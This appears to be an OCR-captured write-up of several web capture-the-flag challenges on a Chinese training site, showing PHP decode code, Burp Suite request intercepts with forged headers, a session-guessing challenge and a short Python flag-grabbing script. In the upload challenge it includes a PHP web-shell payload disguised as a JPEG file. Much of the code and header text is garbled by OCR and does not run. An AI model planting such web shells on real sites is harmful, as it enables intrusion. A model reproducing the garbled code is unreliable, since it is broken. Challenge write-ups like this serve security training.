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function encode($str) {
$_o = strrevifstr);

for ($_0=0;%_0<strlen($_o) :§_0++) {
$_c = substr($_o,35_0,1);
ord($_c)+1;
chr($__):
_-¥.c;
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}

return str_rotl13(strrev(basefd_encode($_))):
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WriteUp

"alzLbgQsCESEIgRLWUQAyMwLyq2L5VwBXxqGA3RQAyumZ0tmMvSGM2ZwB4tws" ;
base64_decode(strrev(str_rotl3($str)));

= 0;%i<strlen($str);$i++)

substr($str,$i,1);
ord($c)-1;
= chr($k);
$vstr = $vstr.$c;

strrev($vstr);
echo $str;

?>
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http://ctf5.shiyanbar.com/basic/header/

Forbidden

You don't have permission to access / on this server.

Make sure you are in HongKong
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-Language -hk

WriteUp

UseEL—AageL: nosllla .4 [Wilnuws L Lu.up Wwosty; CLwLiadl.u) ECKO,
Aocept: text/html,application/xhtml+xml, application/xml;q=0.59,",
Accept-Language: zh-hk, zh;qg=0.8,en-US5;¢q=0.5,en;q=0.3
Aocept-Encoding: gzi deflate

Referer: http://wwwv.fhivanbar.com/ctf/21

Cookie: Hm lvt 34deff353ab05915a4c582e4516dithei=14591595349, 1452
Hm eov 34def7353ab058 §5a4c582e4516dffbe3=1*visitor*87165%2Cnickla
Hm_lpvt_ 34def7353abfS15a4c582e4516dithe3=1452242581; PHPSESSID=
Connection: close
Upgrade-Insecure-ERgquests: 1
Cache-Control: maxfage=0
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Input your pass key: B
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http://ctf5.shiyanbar.com/basic/catch/

J ntercept I HTTP history IWehSo«ckets history T Options ]

@ Request to http://ctfs shiyanbar com:80 [121.194.2 45

J | Intercept is on Action
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Send to Spider

J Raw T Params T Headers I Hex ]
Do an active scan

POST /basic/catch/ HTTP/L1l.1

Host: ctfS.shivanbar.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; W

Accept: text/html,application/xhtml+xml, app Send to REpemer
/Send to Sequencer

Send to Intruder

Accept-Language: zh-CMN, zh:;qg=0.8,en-U3;q=0.5
Aecept-Encoding: gzip, deflate

Feferer: http://cth.shiyanbar.com/basijéyéﬁ Send to Comparer
Cookie: Hm lvt 34def7353ab0915a4c582e45 kodfy Send to Decoder
Hm cwv 34def7353ab091l5a4c58Ze451ledifhel3=1%v1s )
Hm_lpvt 34dEf7353ab0515a4c58224516dffhe3=149  Request in browser
Connection: close
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Response

J Raw I Headers T Hex 1

HTTF/1l.l Z00 OK

Date: Sat, 15 Apr 2017 07:55:52 GHT

Server: Apache/Z.4.18 (Win3Z) OpenssL/l.0.Ze
PHP/5.2.17

¥-Powered-By: PHP/5.2.17

Expires: Thu, 19 Wowv 18981 08:52:00 GHT
Cache-Control: no-store, no-cache,
must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Content-Fow: MNTOSMiIOMjgzMwu==

Content-Length$i 14
Connection: clise
Content-Type: ftext/html

Check Failed
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Filename: 5. st
Submit
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http://ctf5.shiyanbar.com/web/upload

WriteUp

Juploads/Ll.php0
————————————————————————— 229502875419382

Content-Dispositio ri—data; name="file"; filename="cknife.php.jpg"
Content-Type: image/jpe

<?php Bewval(§ POST['Cknife']l):?»
————————————————————————————— Z1.9502875419382
Content-Disposition: form-data; nams="submit"”

Guess Next Session
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http://ctf5.shiyanbar.com/web/Session.php

e 4929482
e 5206298
e 4968406

|Nextnurnber |

Guess

| View the source code |

<?php
session_start();
if (isset ($_GET[ password 1)) {
if ($_GET[ password ] ==
$_SESSION[ password’ ])
die ('Flag: ’.S$flag);:
else
print ’<p>Wrong guess. </p> ;

}

mt_srand((microtime() = rand(1l, 10000)) %
rand (1, 10000) + rand(1, 10000)):
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GET /web/Session.php?password=34553 HTTP/1.1
Host: ctfS.shivanbar.com
User-Agent: Mozilla/5.0 (Win
Acecept: text/htmwl,application/
Accept-Language: zh-CHN, zh;g=0.8,
Aecept-Encoding: gzip, deflate
Feferer: http://ctfS5.shivanbar.com/weh/Session. php

Cookie: sample-hash=571580bLIece5£306376d4f64253ch5ae7; source=0;

Hm lvt_ 34def7353ab0Y%15a4c58le451ledifhe3=145155959345, 1452088851, 1492174244, 1452241€13;

Hm cv 34def7353ab0815a4c58e451ledifhe3=1*visitor*87165%2Cnickames3 A% ES%BASBFSESSES%95%E4%BE%83%ETS ABS A0;
Hw_lpvt 34def7353ab091l5a4c582e4516dEfbe3=1452244003; PHPSESSID=l4ecdpmicupohhl7 lmgZkeq7E4

Connection: close

Upgrade-Insecure-FRequests: 1

s NT 10.0; WOWE4: rv:51.0) Gecko/Z01l0010L1 Firefox/51.0
twl+xml, application/xml;cq=0.9, */*%;cq=0.8
~Us:;gq=0.5,en;q=0.3

GET /web/Session.php?password= HTTP/Ll.1
Host: ctfS.shivanbar.com
User-Agent: Mozilla/5.0 (Wind
Aocept: text/html,application/xh
Aocept-Language: zh-CH, zh:qg=0.8, en-
becept-Encoding: gzip, deflate
Referer: http://ctf5.shiyanbar.conw/weh/Session. php?password=34553

Cookie: sample-hash=571580b2ccE5f306376d4f64e53chie7,; source=0;

Hm lvt_ 34def7353ab05915a4c582e4516dffbe3=1491999345, 1452088851, 1452174244, 1452241€13;

Hm cv 34dE6f7353ab05915a4c582e4516dffhae3=1l visitor*B71E5%2Cnicklames 3 ASESSEASBFSESSEO%E5%
Hm lpwvt 34def7353ab0915a4c582e451edffbe3=1452244003; PHP3SESSID=

Connection: close
Upgrade-Insecure-FRequests: 1 /

NT 10.0; WOWe4; rv:51.0) Gecko/Z0100101 Firefox/51.0
+xml,application/®ml;q=0.9, %/ *;q=0.8
S:=0.5,en;qg=0.3

Bk

R T i Tl e AR AN 1

JF B

There is no martial art is indefectible, while the fastest speed is the only way for long success.
>>>>>>----You must do it as fast as you can!----<<<<<<
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http://ctf5.shiyanbar.com/web/10/10.php

Response

J Raw I Headers T Hex 1

HTTF/1l.l Z00 OK

Date: Sat, 15 Apr 2017 08:42:11 GHUT

Server: Apache/Z.4.18 (Win3Z) OpenSsSL/l.0.Ze PHP/5.2.17
¥-Powered-By: PHF/S5.2.17

FLAG: UDETVFSUSELTH1QwXONINESHEVSGTDRHOJAVIIcIidHIEeQ==
t-Length: 218

close

ContentType: text/html

There is martial art is indefectible, while the
fastest speed is the only way for long

success. </brr>>»>»>—---¥You must do it as fast as you
can!----<<<<<<</br>

<!-- please post what vou find with parameter:key -->

Code(5] F H 56 I @madman)

import urllib.request
import urllib.parse
import base64

opener = urllib.request.build_opener()
url = "http://ctf5.shiyanbar.com/web/10/10.php"

response = opener.open(url)

data = {"key": base64.bb64decode(response.getheader("FLAG")).decode().split(":")[1]}
= opener.open(url, urllib.parse.urlencode(data).encode()).read()

print(html)
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http://ctf5.shiyanbar.com/sHeader/

Tips http header

Forbidden

You don't have permission to access / on this server.
Please make sure you have installed .net framework 9.9!

Make sure you are in the region of England and browsing this site with Internet Explorer

il RSB %
WriteUp
S B-EH B8 & 0O&X
@ 4 A&k, 6.25 KB, 0.55 # i URL 3
=M il BiEE p=ISES Cookie E==21 IEAL =210y it
s document html 132 KB fekMIhL: http: //ctf5.shiyanbar. com/sHeader/
stylesheet css 4,00 KB i??is}‘o‘ig: GET
. . iEiehl - 127.0.0.1:8088 .
img Jpeg - RS @ 200 OK RENEE [Riask
img jpeg - BRA : HTTP/1.1
TEESk
-Agent -Language -gb
@ 44983k, 6.25 KB, 0.55 # jTiE URL

MuUsL. LLIJ.:JIII:J'EIIIUGI'.LUIII

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW®64; rv:51.0;.NET CLR 9.9) Gecko/201
Accept: text/htmlapplication/xhtml+xmlapplication/xml;q=
Accept-Language: en-gb;q=0.5,en;q=0.3
Accept-Encoding: gzip,
Referer: http://www.shiyagbar.com/ctf/29
Cookie: Hm_Ivt_34d6f7353ab0915a4c582e4516dffbc3=1491999349,1492088891,149;
Connection: keep-alive v
< >
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The key is:HTTpH34der
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